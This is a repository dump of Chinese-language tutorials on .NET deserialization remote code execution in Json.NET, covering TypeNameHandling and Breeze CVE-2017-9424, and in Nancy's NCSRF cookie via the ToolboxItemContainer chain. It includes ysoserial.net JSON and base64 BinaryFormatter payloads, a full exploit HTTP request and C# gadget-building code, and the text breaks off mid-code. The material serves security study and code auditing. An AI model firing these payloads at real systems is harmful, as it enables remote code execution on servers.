/Json.Net.assets/image-20210517095157377.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/Json.Net.assets/image-20210517095157377.png -------------------------------------------------------------------------------- /Json.Net.assets/image-20210517095525752.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/Json.Net.assets/image-20210517095525752.png -------------------------------------------------------------------------------- /Json.Net.assets/image-20210517100933584.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/Json.Net.assets/image-20210517100933584.png -------------------------------------------------------------------------------- /Json.Net.assets/image-20210517102839800.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/Json.Net.assets/image-20210517102839800.png -------------------------------------------------------------------------------- /Json.Net.assets/image-20210517103006142.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/Json.Net.assets/image-20210517103006142.png -------------------------------------------------------------------------------- /Json.Net.assets/image-20210517103328743.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/Json.Net.assets/image-20210517103328743.png -------------------------------------------------------------------------------- /Json.Net.assets/image-20210517103602302.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/Json.Net.assets/image-20210517103602302.png -------------------------------------------------------------------------------- /Json.Net.assets/jsonperformance.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/Json.Net.assets/jsonperformance.png -------------------------------------------------------------------------------- /Json.Net.md: -------------------------------------------------------------------------------- 1 | # Json.Net 2 | 3 | json.net又名Newtonsoft.Json,虽然不是官方库,但是凭借出色的性能优势有着很多的受众用户。下图是官方的性能对比图: 4 | 5 | ![Performance](Json.Net.assets/jsonperformance.png) 6 | 7 | # demo 8 | 9 | [官方文档](https://www.newtonsoft.com/json/help/html/SerializingJSON.htm)给出了最简单的两个json示例,分别是JsonConvert、JsonSerializer。这里先看下JsonConvert 10 | 11 | ```csharp 12 | using Newtonsoft.Json; 13 | using System; 14 | 15 | namespace Json.NetSerializer 16 | { 17 | class Person 18 | { 19 | public string Name { get; set; } 20 | } 21 | class Program 22 | { 23 | static void Main(string[] args) 24 | { 25 | Person person = new Person(); 26 | person.Name = "jack"; 27 | string v = JsonConvert.SerializeObject(person); 28 | string v1 = JsonConvert.SerializeObject(person, new JsonSerializerSettings() 29 | { 30 | TypeNameHandling = TypeNameHandling.None 31 | }); 32 | string v2 = JsonConvert.SerializeObject(person, new JsonSerializerSettings() 33 | { 34 | TypeNameHandling = TypeNameHandling.All 35 | }); 36 | Console.WriteLine(v); 37 | Console.WriteLine(v1); 38 | Console.WriteLine(v2); 39 | Console.ReadKey(); 40 | } 41 | } 42 | } 43 | ``` 44 | 45 | 输出json 46 | 47 | ```json 48 | {"Name":"jack"} 49 | {"Name":"jack"} 50 | {"$type":"Json.NetSerializer.Person, Json.NetSerializer","Name":"jack"} 51 | ``` 52 | 53 | 可见传入JsonSerializerSettings参数`TypeNameHandling.All`时生成了带有type信息的json。看下底层实现 54 | 55 | 56 | 57 | 当不穿JsonSerializerSettings参数时,调用三个参数的SerializeObject重载 58 | 59 | ![image-20210517094642443](Json.Net.assets/image-20210517094642443.png) 60 | 61 | 三个参数的重载将settings设置为空,创建了一个默认的JsonSerializer。 62 | 63 | ![image-20210517094741346](Json.Net.assets/image-20210517094741346.png) 64 | 65 | 抽丝剥茧,CreateDefault其实就是new了一个JsonSerializer,其中`this._typeNameHandling = TypeNameHandling.None` 66 | 67 | ![image-20210517095157377](Json.Net.assets/image-20210517095157377.png) 68 | 69 | 说明下面几行代码的作用是一样的 70 | 71 | ```csharp 72 | string v = JsonConvert.SerializeObject(person); 73 | string v1 = JsonConvert.SerializeObject(person, new JsonSerializerSettings() 74 | { 75 | TypeNameHandling = TypeNameHandling.None 76 | }); 77 | ``` 78 | 79 | 根据[文档](https://www.newtonsoft.com/json/help/html/T_Newtonsoft_Json_TypeNameHandling.htm),TypeNameHandling有以下几个枚举值 80 | 81 | ![image-20210517095525752](Json.Net.assets/image-20210517095525752.png) 82 | 83 | 除了None外,都会包含type信息。文档中标记了TypeNameHandling会产生安全问题,应该使用binder进行类型绑定。 84 | 85 | > [TypeNameHandling](https://www.newtonsoft.com/json/help/html/P_Newtonsoft_Json_JsonSerializer_TypeNameHandling.htm) should be used with caution when your application deserializes JSON from an external source. Incoming types should be validated with a custom [SerializationBinder](https://www.newtonsoft.com/json/help/html/P_Newtonsoft_Json_JsonSerializer_SerializationBinder.htm) when deserializing with a value other than None. 86 | 87 | 而本文就是针对TypeNameHandling进行讲解,当TypeNameHandling非None时,可以传入自定义json触发RCE。 88 | 89 | # 攻击链ObjectDataProvider 90 | 91 | 通过ObjectDataProvider包装Process进行RCE。yso生成如下 92 | 93 | ```json 94 | PS E:\code\ysoserial.net\ysoserial\bin\Debug> .\ysoserial.exe -g ObjectDataProvider -f json.net -c calc 95 | { 96 | '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', 97 | 'MethodName':'Start', 98 | 'MethodParameters':{ 99 | '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089', 100 | '$values':['cmd', '/c calc'] 101 | }, 102 | 'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'} 103 | } 104 | ``` 105 | 106 | 运行后弹出计算器。 107 | 108 | ![image-20210517100933584](Json.Net.assets/image-20210517100933584.png) 109 | 110 | # 审计 111 | 112 | 关注JsonConvert和JsonSerializer的TypeNameHandling值是否为None。以下代码两种方法都能触发RCE。 113 | 114 | ```csharp 115 | using Newtonsoft.Json; 116 | using System; 117 | using System.IO; 118 | 119 | namespace Json.NetSerializer 120 | { 121 | class Program 122 | { 123 | static void Main(string[] args) 124 | { 125 | // JsonConvert 126 | JsonConvert.DeserializeObject(File.ReadAllText("1.json"),new JsonSerializerSettings() { TypeNameHandling =TypeNameHandling.All}); 127 | // JsonSerializer 128 | JsonSerializer jsonSerializer = JsonSerializer.CreateDefault(); 129 | jsonSerializer.TypeNameHandling = TypeNameHandling.All; 130 | using (StreamReader sr = new StreamReader("1.json")) 131 | using (JsonReader reader = new JsonTextReader(sr)) 132 | { 133 | jsonSerializer.Deserialize(reader); 134 | } 135 | Console.ReadKey(); 136 | } 137 | } 138 | } 139 | ``` 140 | 141 | # 实际案例 breeze CVE-2017-9424 142 | 143 | breeze在blackhat中提到了存在json反序列化漏洞。源码下载https://github.com/Breeze/breeze.js.samples/tree/master/net/CarBones 144 | 145 | 在Breeze.ContextProvider.BreezeConfig.CreateJsonSerializerSettings设置了TypeNameHandling.Objects 146 | 147 | ![image-20210517102839800](Json.Net.assets/image-20210517102839800.png) 148 | 149 | 查看被调用链 150 | 151 | ![image-20210517103006142](Json.Net.assets/image-20210517103006142.png) 152 | 153 | 在CarBonesController类中被使用。SaveChanges()传入的JObject一路被传入InitializeSaveState() 154 | 155 | ![image-20210517103328743](Json.Net.assets/image-20210517103328743.png) 156 | 157 | 然后将JObject的saveOptions字段进行反序列化为SaveOptions类型。而SaveOptions有一个Tag字段类型为Object,刚好可以存储我们的Process对象。 158 | 159 | ![image-20210517103602302](Json.Net.assets/image-20210517103602302.png) 160 | 161 | 由此抓包,原始SaveChanges请求如下 162 | 163 | ```http 164 | POST /breeze/CarBones/SaveChanges HTTP/1.1 165 | Host: php.local:34218 166 | Content-Length: 288 167 | Accept: application/json, text/javascript, */*; q=0.01 168 | X-Requested-With: XMLHttpRequest 169 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 170 | Content-Type: application/json 171 | Origin: http://php.local:34218 172 | Referer: http://php.local:34218/ 173 | Accept-Encoding: gzip, deflate 174 | Accept-Language: zh-CN,zh;q=0.9 175 | Connection: close 176 | 177 | { 178 | "entities": [ 179 | { 180 | "Id": 3, 181 | "Make": "Tesla", 182 | "Model": "S1", 183 | "entityAspect": { 184 | "entityTypeName": "Car:#CarBones.Models", 185 | "defaultResourceName": "Cars", 186 | "entityState": "Modified", 187 | "originalValuesMap": { 188 | "Model": "S" 189 | }, 190 | "autoGeneratedKey": { 191 | "propertyName": "Id", 192 | "autoGeneratedKeyType": "Identity" 193 | } 194 | } 195 | } 196 | ], 197 | "saveOptions": {} 198 | } 199 | ``` 200 | 201 | 将saveOptions修改为payload,弹出计算器 202 | 203 | ```http 204 | POST /breeze/CarBones/SaveChanges HTTP/1.1 205 | Host: php.local:34218 206 | Upgrade-Insecure-Requests: 1 207 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 208 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 209 | Accept-Encoding: gzip, deflate 210 | Accept-Language: zh-CN,zh;q=0.9 211 | Connection: close 212 | Content-Type: application/json; charset=utf-8 213 | Content-Length: 627 214 | 215 | { 216 | "entities": [ 217 | { 218 | "Id": 1, 219 | "Make": "Ford", 220 | "Model": "Mustanga", 221 | "entityAspect": { 222 | "entityTypeName": "Car:#CarBones.Models", 223 | "defaultResourceName": "Cars", 224 | "entityState": "Modified", 225 | "originalValuesMap": { 226 | "Model": "Mustang" 227 | }, 228 | "autoGeneratedKey": { 229 | "propertyName": "Id", 230 | "autoGeneratedKeyType": "Identity" 231 | } 232 | } 233 | } 234 | ], 235 | "saveOptions": { 236 | "Tag": { 237 | "$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework", 238 | "ObjectInstance": { 239 | "$type": "System.Diagnostics.Process, System" 240 | }, 241 | "MethodParameters": { 242 | "$type": "System.Collections.ArrayList, mscorlib", 243 | "$values": [ 244 | "calc" 245 | ] 246 | }, 247 | "MethodName": "Start" 248 | } 249 | } 250 | } 251 | ``` 252 | 253 | # 后文 254 | 255 | 本文讲解了json.net反序列化,并结合实际案例 breeze CVE-2017-9424深入理解。 -------------------------------------------------------------------------------- /LosFormatter.assets/image-20210425104235784.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/LosFormatter.assets/image-20210425104235784.png -------------------------------------------------------------------------------- /LosFormatter.assets/image-20210425110334370.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/LosFormatter.assets/image-20210425110334370.png -------------------------------------------------------------------------------- /LosFormatter.assets/image-20210425110444203.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/LosFormatter.assets/image-20210425110444203.png -------------------------------------------------------------------------------- /LosFormatter.assets/image-20210430092024814.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/LosFormatter.assets/image-20210430092024814.png -------------------------------------------------------------------------------- /LosFormatter.assets/image-20210430092121894.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/LosFormatter.assets/image-20210430092121894.png -------------------------------------------------------------------------------- /LosFormatter.assets/image-20210430093438436.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/LosFormatter.assets/image-20210430093438436.png -------------------------------------------------------------------------------- /LosFormatter.assets/image-20210430093719111.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/LosFormatter.assets/image-20210430093719111.png -------------------------------------------------------------------------------- /LosFormatter.assets/image-20210430093756052.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/LosFormatter.assets/image-20210430093756052.png -------------------------------------------------------------------------------- /LosFormatter.assets/image-20210430101117390.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/LosFormatter.assets/image-20210430101117390.png -------------------------------------------------------------------------------- /LosFormatter.assets/image-20210430101152821.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/LosFormatter.assets/image-20210430101152821.png -------------------------------------------------------------------------------- /LosFormatter.assets/image-20210430101324639.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/LosFormatter.assets/image-20210430101324639.png -------------------------------------------------------------------------------- /LosFormatter.assets/image-20210430101439511.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/LosFormatter.assets/image-20210430101439511.png -------------------------------------------------------------------------------- /LosFormatter.assets/image-20210430101554161.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/LosFormatter.assets/image-20210430101554161.png -------------------------------------------------------------------------------- /LosFormatter.assets/image-20210430102011516.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/LosFormatter.assets/image-20210430102011516.png -------------------------------------------------------------------------------- /LosFormatter.assets/image-20210430114741836.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/LosFormatter.assets/image-20210430114741836.png -------------------------------------------------------------------------------- /LosFormatter.assets/image-20210430114917056.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/LosFormatter.assets/image-20210430114917056.png -------------------------------------------------------------------------------- /LosFormatter.assets/image-20210430115056392.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/LosFormatter.assets/image-20210430115056392.png -------------------------------------------------------------------------------- /LosFormatter.assets/image-20210430115310364.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/LosFormatter.assets/image-20210430115310364.png -------------------------------------------------------------------------------- /LosFormatter.assets/image-20210430135058714.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/LosFormatter.assets/image-20210430135058714.png -------------------------------------------------------------------------------- /LosFormatter.assets/image-20210430140302538.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/LosFormatter.assets/image-20210430140302538.png -------------------------------------------------------------------------------- /LosFormatter.assets/image-20210430140917079.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/LosFormatter.assets/image-20210430140917079.png -------------------------------------------------------------------------------- /LosFormatter.assets/image-20210430141006242.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/LosFormatter.assets/image-20210430141006242.png -------------------------------------------------------------------------------- /LosFormatter.assets/image-20210430141737550.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/LosFormatter.assets/image-20210430141737550.png -------------------------------------------------------------------------------- /Nancy.assets/image-20210511112334927.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/Nancy.assets/image-20210511112334927.png -------------------------------------------------------------------------------- /Nancy.assets/image-20210511112408534.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/Nancy.assets/image-20210511112408534.png -------------------------------------------------------------------------------- /Nancy.assets/image-20210511112504106.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/Nancy.assets/image-20210511112504106.png -------------------------------------------------------------------------------- /Nancy.assets/image-20210511112850720.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/Nancy.assets/image-20210511112850720.png -------------------------------------------------------------------------------- /Nancy.assets/image-20210511135005342.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/Nancy.assets/image-20210511135005342.png -------------------------------------------------------------------------------- /Nancy.assets/image-20210511144513587.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/Nancy.assets/image-20210511144513587.png -------------------------------------------------------------------------------- /Nancy.assets/image-20210511144607393.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/Nancy.assets/image-20210511144607393.png -------------------------------------------------------------------------------- /Nancy.md: -------------------------------------------------------------------------------- 1 | # Nancy 2 | 3 | Nancy是一个轻量级web框架,其cookie中NCSRF字段使用binaryformatter进行序列化反序列化,造成rce。本文主要讲解其反序列化漏洞及ToolboxItemContainer攻击链。 4 | 5 | # 环境搭建 6 | 7 | 直接从GitHub下载nancy的demo案例 https://github.com/NancyFx/Nancy.Demo.Samples 8 | 9 | 使用vs打开运行 10 | 11 | ![image-20210511112334927](Nancy.assets/image-20210511112334927.png) 12 | 13 | 第一次请求返回cookie 14 | 15 | ![image-20210511112408534](Nancy.assets/image-20210511112408534.png) 16 | 17 | ``` 18 | NCSRF=AAEAAAD%2f%2f%2f%2f%2fAQAAAAAAAAAMAgAAAD1OYW5jeSwgVmVyc2lvbj0wLjE2LjEuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1udWxsBQEAAAAYTmFuY3kuU2VjdXJpdHkuQ3NyZlRva2VuAwAAABw8UmFuZG9tQnl0ZXM%2ba19fQmFja2luZ0ZpZWxkHDxDcmVhdGVkRGF0ZT5rX19CYWNraW5nRmllbGQVPEhtYWM%2ba19fQmFja2luZ0ZpZWxkBwAHAg0CAgAAAAkDAAAASVo2p2wU2YgJBAAAAA8DAAAACgAAAAKiZsnPUc5ZpsU0DwQAAAAgAAAAAovU6IflKN4bOpWdLZCevd6flnf%2f9PrHh5TNnnveth1pCwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%3d 19 | ``` 20 | 21 | url+base64解码之后 22 | 23 | ![image-20210511112504106](Nancy.assets/image-20210511112504106.png) 24 | 25 | 发现是使用binaryformatter进行序列化存储cookie。使用ysoserial.net生成payload 26 | 27 | ``` 28 | PS E:\code\ysoserial.net\ysoserial\bin\Debug> .\ysoserial.exe -f binaryformatter -g ToolboxItemContainer -c calc 29 | AAEAAAD/////AQAAAAAAAAAMAgAAAFhTeXN0ZW0uRHJhd2luZy5EZXNpZ24sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iMDNmNWY3ZjExZDUwYTNhBQEAAAAqU3lzdGVtLkRyYXdpbmcuRGVzaWduLlRvb2xib3hJdGVtQ29udGFpbmVyAgAAABdUYnhJQ19EYXRhT2JqZWN0Rm9ybWF0cxZUYnhJQ19EYXRhT2JqZWN0VmFsdWVzBgUCAAAACQMAAAAJBAAAABEDAAAAAQAAAAYFAAAAIENGX1RPT0xCT1hJVEVNQ09OVEFJTkVSX0NPTlRFTlRTEAQAAAABAAAACQYAAAAFBgAAAEBTeXN0ZW0uRHJhd2luZy5EZXNpZ24uVG9vbGJveEl0ZW1Db250YWluZXIrVG9vbGJveEl0ZW1TZXJpYWxpemVyAgAAAAxBc3NlbWJseU5hbWUGU3RyZWFtAwceU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHlOYW1lAgIAAAAJBwAAAAkIAAAABAcAAAAeU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHlOYW1lDAAAAAVfTmFtZQpfUHVibGljS2V5D19QdWJsaWNLZXlUb2tlbgxfQ3VsdHVyZUluZm8JX0NvZGVCYXNlCF9WZXJzaW9uDl9IYXNoQWxnb3JpdGhtGF9IYXNoQWxnb3JpdGhtRm9yQ29udHJvbBJfU3Ryb25nTmFtZUtleVBhaXIVX1ZlcnNpb25Db21wYXRpYmlsaXR5Bl9GbGFncw9fSGFzaEZvckNvbnRyb2wBBwcAAQMDAwMDAwcCAggOU3lzdGVtLlZlcnNpb241U3lzdGVtLkNvbmZpZ3VyYXRpb24uQXNzZW1ibGllcy5Bc3NlbWJseUhhc2hBbGdvcml0aG01U3lzdGVtLkNvbmZpZ3VyYXRpb24uQXNzZW1ibGllcy5Bc3NlbWJseUhhc2hBbGdvcml0aG0jU3lzdGVtLlJlZmxlY3Rpb24uU3Ryb25nTmFtZUtleVBhaXI8U3lzdGVtLkNvbmZpZ3VyYXRpb24uQXNzZW1ibGllcy5Bc3NlbWJseVZlcnNpb25Db21wYXRpYmlsaXR5I1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5TmFtZUZsYWdzAgYJAAAACG1zY29ybGliCQoAAAAKfwAAAAYLAAAAQmZpbGU6Ly8vQzovV2luZG93cy9NaWNyb3NvZnQuTkVUL0ZyYW1ld29yay92NC4wLjMwMzE5L21zY29ybGliLmRsbAkMAAAABPP///81U3lzdGVtLkNvbmZpZ3VyYXRpb24uQXNzZW1ibGllcy5Bc3NlbWJseUhhc2hBbGdvcml0aG0BAAAAB3ZhbHVlX18ACASAAAAB8v////P///8AAAAACgTx////PFN5c3RlbS5Db25maWd1cmF0aW9uLkFzc2VtYmxpZXMuQXNzZW1ibHlWZXJzaW9uQ29tcGF0aWJpbGl0eQEAAAAHdmFsdWVfXwAIAQAAAATw////I1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5TmFtZUZsYWdzAQAAAAd2YWx1ZV9fAAghAAAACg8IAAAAkQMAAAIAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAACzBTw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9InV0Zi0xNiI/Pg0KPE9iamVjdERhdGFQcm92aWRlciBNZXRob2ROYW1lPSJTdGFydCIgSXNJbml0aWFsTG9hZEVuYWJsZWQ9IkZhbHNlIiB4bWxucz0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwvcHJlc2VudGF0aW9uIiB4bWxuczpzZD0iY2xyLW5hbWVzcGFjZTpTeXN0ZW0uRGlhZ25vc3RpY3M7YXNzZW1ibHk9U3lzdGVtIiB4bWxuczp4PSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbCI+DQogIDxPYmplY3REYXRhUHJvdmlkZXIuT2JqZWN0SW5zdGFuY2U+DQogICAgPHNkOlByb2Nlc3M+DQogICAgICA8c2Q6UHJvY2Vzcy5TdGFydEluZm8+DQogICAgICAgIDxzZDpQcm9jZXNzU3RhcnRJbmZvIEFyZ3VtZW50cz0iL2MgY2FsYyIgU3RhbmRhcmRFcnJvckVuY29kaW5nPSJ7eDpOdWxsfSIgU3RhbmRhcmRPdXRwdXRFbmNvZGluZz0ie3g6TnVsbH0iIFVzZXJOYW1lPSIiIFBhc3N3b3JkPSJ7eDpOdWxsfSIgRG9tYWluPSIiIExvYWRVc2VyUHJvZmlsZT0iRmFsc2UiIEZpbGVOYW1lPSJjbWQiIC8+DQogICAgICA8L3NkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgIDwvc2Q6UHJvY2Vzcz4NCiAgPC9PYmplY3REYXRhUHJvdmlkZXIuT2JqZWN0SW5zdGFuY2U+DQo8L09iamVjdERhdGFQcm92aWRlcj4LDwoAAAAQAAAAAgAAAAAAAAAABAAAAAAAAAAEDAAAAA5TeXN0ZW0uVmVyc2lvbgQAAAAGX01ham9yBl9NaW5vcgZfQnVpbGQJX1JldmlzaW9uAAAAAAgICAgEAAAAAAAAAAAAAAAAAAAACw== 30 | ``` 31 | 32 | url编码之后发送弹出计算器 33 | 34 | ![image-20210511112850720](Nancy.assets/image-20210511112850720.png) 35 | 36 | 反序列化点位于Nancy.DefaultObjectSerializer.Deserialize() 37 | 38 | ![image-20210511135005342](Nancy.assets/image-20210511135005342.png) 39 | 40 | # ToolboxItemContainer攻击链 41 | 42 | yso中用到了两个类 43 | 44 | ![image-20210511144513587](Nancy.assets/image-20210511144513587.png) 45 | 46 | 直接来看ToolboxItemSerializer的反序列化构造函数 47 | 48 | ![image-20210511144607393](Nancy.assets/image-20210511144607393.png) 49 | 50 | 发现将Stream字段中的byte数组使用binaryformatter进行反序列化,我们可以使用TextFormattingRunProperties填充byte数组,达到rce。自己写payload 51 | 52 | ```csharp 53 | using Microsoft.VisualStudio.Text.Formatting; 54 | using System; 55 | using System.Collections.Specialized; 56 | using System.Diagnostics; 57 | using System.IO; 58 | using System.Reflection; 59 | using System.Runtime.Serialization; 60 | using System.Runtime.Serialization.Formatters.Binary; 61 | using System.Windows.Data; 62 | using System.Windows.Markup; 63 | 64 | namespace NancySerialize 65 | { 66 | class Program 67 | { 68 | static void Main(string[] args) 69 | { 70 | BinaryFormatter binaryFormatter = new BinaryFormatter(); 71 | byte[] vs; 72 | using (MemoryStream memory = new MemoryStream()) 73 | { 74 | binaryFormatter.Serialize(memory, new TextFormattingRunPropertiesMarshal("calc")); 75 | vs = memory.ToArray(); 76 | } 77 | ToolboxItemSerializerMarshal toolBox = new ToolboxItemSerializerMarshal(vs); 78 | using (MemoryStream memoryStream = new MemoryStream()) 79 | { 80 | binaryFormatter.Serialize(memoryStream, toolBox); 81 | memoryStream.Position = 0; 82 | binaryFormatter.Deserialize(memoryStream); 83 | } 84 | } 85 | } 86 | [Serializable] 87 | public class ToolboxItemSerializerMarshal : ISerializable 88 | { 89 | public ToolboxItemSerializerMarshal(byte[] payload) 90 | { 91 | Payload = payload; 92 | } 93 | 94 | private byte[] Payload { get; } 95 | public void GetObjectData(SerializationInfo info, StreamingContext context) 96 | { 97 | info.SetType(Type.GetType("System.Drawing.Design.ToolboxItemContainer+ToolboxItemSerializer, System.Drawing.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a")); 98 | info.AddValue("AssemblyName", new AssemblyName()); 99 | info.AddValue("Stream", Payload); 100 | } 101 | } 102 | [Serializable] 103 | public class TextFormattingRunPropertiesMarshal : ISerializable 104 | { 105 | public static string gadget(string cmd) 106 | { 107 | // ObjectDataProvider 108 | ProcessStartInfo psi = new ProcessStartInfo(); 109 | psi.FileName = "cmd.exe"; 110 | psi.Arguments = $"/c {cmd}"; 111 | StringDictionary dict = new StringDictionary(); 112 | psi.GetType().GetField("environmentVariables", BindingFlags.Instance | BindingFlags.NonPublic).SetValue(psi, dict); 113 | Process p = new Process(); 114 | p.StartInfo = psi; 115 | ObjectDataProvider odp = new ObjectDataProvider(); 116 | odp.MethodName = "Start"; 117 | odp.IsInitialLoadEnabled = false; 118 | odp.ObjectInstance = p; 119 | 120 | return XamlWriter.Save(odp); 121 | } 122 | protected 